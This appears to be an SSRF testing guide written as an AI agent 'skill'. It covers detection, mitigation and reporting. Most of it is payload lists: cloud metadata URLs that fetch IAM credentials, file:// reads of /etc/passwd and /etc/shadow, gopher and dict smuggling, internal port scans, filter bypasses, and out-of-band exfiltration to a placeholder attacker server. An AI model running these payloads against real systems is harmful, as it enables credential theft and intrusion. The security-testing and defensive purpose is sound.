SSRF Vulnerability Testing

A comprehensive guide to identifying, testing, and exploiting Server-Side Request Forgery vulnerabilities in web applications.

What is SSRF?

Server-Side Request Forgery (SSRF) is a vulnerability where an attacker can trick a server into making requests to an unintended location. This can expose internal services, cloud metadata endpoints, or allow attackers to interact with systems that should be protected.

When to Use This Skill

Use this skill when:

• Testing web applications for SSRF vulnerabilities
• Analyzing applications that accept URLs, file paths, or image sources
• Investigating potential internal network access through web apps
• Working with cloud environments and metadata endpoints
• Building security assessments that include SSRF testing

SSRF Testing Workflow

1. Identify Potential SSRF Vectors

Look for these common input points:

• URL parameters (

  ?url=

  ,

  ?redirect=

  ,

  ?callback=

  )
• Image upload fields that fetch remote images
• API endpoints that accept URLs
• Webhook configuration pages
• Import/export functionality
• RSS feed readers
• PDF generators from URLs

2. Basic SSRF Testing

Start with these fundamental tests:

# Test if SSRF is possible
?url=http://127.0.0.1:80
?url=http://localhost:80
?url=http://0.0.0.0:80
?url=http://[::1]:80

# Test with different protocols
?url=file:///etc/passwd
?url=gopher://127.0.0.1:80/_GET / HTTP/1.1\r\nHost: localhost
?url=dict://127.0.0.1:11211/VERSION

3. Blind SSRF Detection

When there's no direct response, use out-of-band detection:

# Using DNS rebinding
?url=http://<your-dns-rebinding-domain>

# Using HTTP callback
?url=http://<your-server>/callback?param=<data>

# Using DNS log exfiltration
?url=http://<data>.<your-domain>

4. Cloud Metadata Endpoints

Test for cloud provider metadata access:

# AWS
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# Azure
?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
?url=http://169.254.169.254/metadata/instance/identity/oauth2/token?api-version=2018-10-01

# Google Cloud
?url=http://169.254.169.254/computeMetadata/v1/
?url=http://metadata.google.internal/computeMetadata/v1/

# DigitalOcean
?url=http://169.254.169.254/metadata/v1/

5. Internal Network Scanning

Use SSRF to scan internal networks:

# Common internal IP ranges
?url=http://10.0.0.1:80
?url=http://172.16.0.1:80
?url=http://192.168.1.1:80
?url=http://10.0.0.0/16
?url=http://172.16.0.0/12
?url=http://192.168.0.0/16

# Service discovery
?url=http://127.0.0.1:22
?url=http://127.0.0.1:3306
?url=http://127.0.0.1:5432
?url=http://127.0.0.1:6379
?url=http://127.0.0.1:27017
?url=http://127.0.0.1:9200

6. SSRF Payloads by Protocol

# HTTP/HTTPS
?url=http://<target>
?url=https://<target>

# File protocol
?url=file:///etc/passwd
?url=file:///etc/shadow
?url=file:///proc/self/environ
?url=file:///var/log/auth.log

# Gopher protocol
?url=gopher://<target>:<port>/_<payload>

# Dict protocol
?url=dict://<target>:<port>/<command>

# LDAP
?url=ldap://<target>:389/<dn>

# FTP
?url=ftp://<target>:21/<path>

# Redis
?url=redis://127.0.0.1:6379

# MongoDB
?url=mongodb://127.0.0.1:27017

7. Bypassing Filters

Common filter bypass techniques:

# IP encoding
?url=http://0177.0.0.1  # Octal
?url=http://0x7f.0.0.1  # Hexadecimal
?url=http://127.1  # Shortened
?url=http://127.0.0.01  # Leading zeros
?url=http://127.0.0.1%00  # Null byte
?url=http://127.0.0.1%0a  # Newline

# URL encoding
?url=http://127.0.0.1  # %2e = .
?url=http://127%2e0%2e0%2e1

# DNS rebinding
?url=http://<rebinding-domain>

# Using localhost variations
?url=http://localhost
?url=http://localhost.localdomain
?url=http://localhost.localdomain.local
?url=http://127.0.0.1.nip.io

# Using IPv6
?url=http://[::1]
?url=http://[0:0:0:0:0:0:0:1]
?url=http://[::ffff:127.0.0.1]

# Using data URI
?url=data:text/html,<script>alert(1)</script>

# Using javascript URI
?url=javascript:alert(1)

8. Blind SSRF Chains

For blind SSRF, chain multiple requests to exfiltrate data:

1. First request: Trigger SSRF to internal service
2. Second request: Use response to make another request
3. Continue: Chain until data reaches attacker-controlled server

See: Blind SSRF Chains - AssetNote

Vulnerable Platforms and Frameworks

Common Vulnerable Components

• WordPress: Various plugins with URL input
• Joomla: Component vulnerabilities
• Drupal: Module SSRF issues
• Magento: Admin panel vulnerabilities
• Confluence: CVE-2019-3396, CVE-2021-26084
• Jenkins: Plugin vulnerabilities
• GitLab: Import/export features
• Docker: Registry pull vulnerabilities

Framework-Specific Issues

# Python requests library
requests.get(user_input_url)  # Vulnerable if not validated

# PHP file_get_contents()
file_get_contents($user_url)  # Vulnerable if not validated

# Node.js axios
axios.get(userInputUrl)  # Vulnerable if not validated

# Java HttpURLConnection
url.openConnection()  # Vulnerable if not validated

Mitigation Strategies

1. Input Validation

# Allowlist approach (recommended)
ALLOWED_DOMAINS = ['example.com', 'trusted-site.com']

def validate_url(url):
    parsed = urlparse(url)
    if parsed.netloc not in ALLOWED_DOMAINS:
        raise ValueError("URL not in allowlist")
    return url

2. Block Internal IPs

import ipaddress

BLOCKED_RANGES = [
    '127.0.0.0/8',
    '10.0.0.0/8',
    '172.16.0.0/12',
    '192.168.0.0/16',
    '169.254.0.0/16',
    '::1/128',
    'fc00::/7',
    'fe80::/10',
]

def is_blocked_ip(ip):
    ip_obj = ipaddress.ip_address(ip)
    for blocked in BLOCKED_RANGES:
        if ip_obj in ipaddress.ip_network(blocked):
            return True
    return False

3. Disable Dangerous Protocols

# Python requests
from requests.utils import requote_uri

def safe_request(url):
    parsed = urlparse(url)
    if parsed.scheme not in ['http', 'https']:
        raise ValueError("Only HTTP/HTTPS allowed")
    return requests.get(url)

4. Use Security Headers

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'

5. Network-Level Protections

• Use firewalls to block outbound connections to internal networks
• Implement egress filtering
• Use separate network zones for web applications
• Monitor for unusual outbound traffic patterns

Testing Tools

Manual Testing

# curl for basic testing
curl -X POST -d "url=http://127.0.0.1" http://target/vulnerable-endpoint

# Using Burp Suite
# Configure proxy, intercept requests, modify URL parameters

# Using custom scripts
python ssrf-tester.py --target http://target --payloads payloads.txt

Automated Tools

• Nuclei: SSRF templates
• SSRFmap: Automated SSRF detection
• dalfox: SSRF scanner
• Arjun: Parameter discovery
• ffuf: Fuzzing tool

Reporting SSRF Findings

When documenting SSRF vulnerabilities:

1. Vulnerability Type: Server-Side Request Forgery
2. Severity: Critical/High (depending on impact)
3. Affected Endpoint: Full URL with parameters
4. Proof of Concept: Working payload
5. Impact: What can be accessed/exploited
6. Remediation: Specific mitigation steps
7. CVSS Score: Calculate based on impact

References

• Blind SSRF Chains - AssetNote
• OWASP SSRF
• PortSwigger SSRF Tutorial
• SSRF Cheat Sheet

Important Notes

• Always get proper authorization before testing
• SSRF can have severe security implications
• Test in isolated environments when possible
• Document all findings thoroughly
• Follow responsible disclosure practices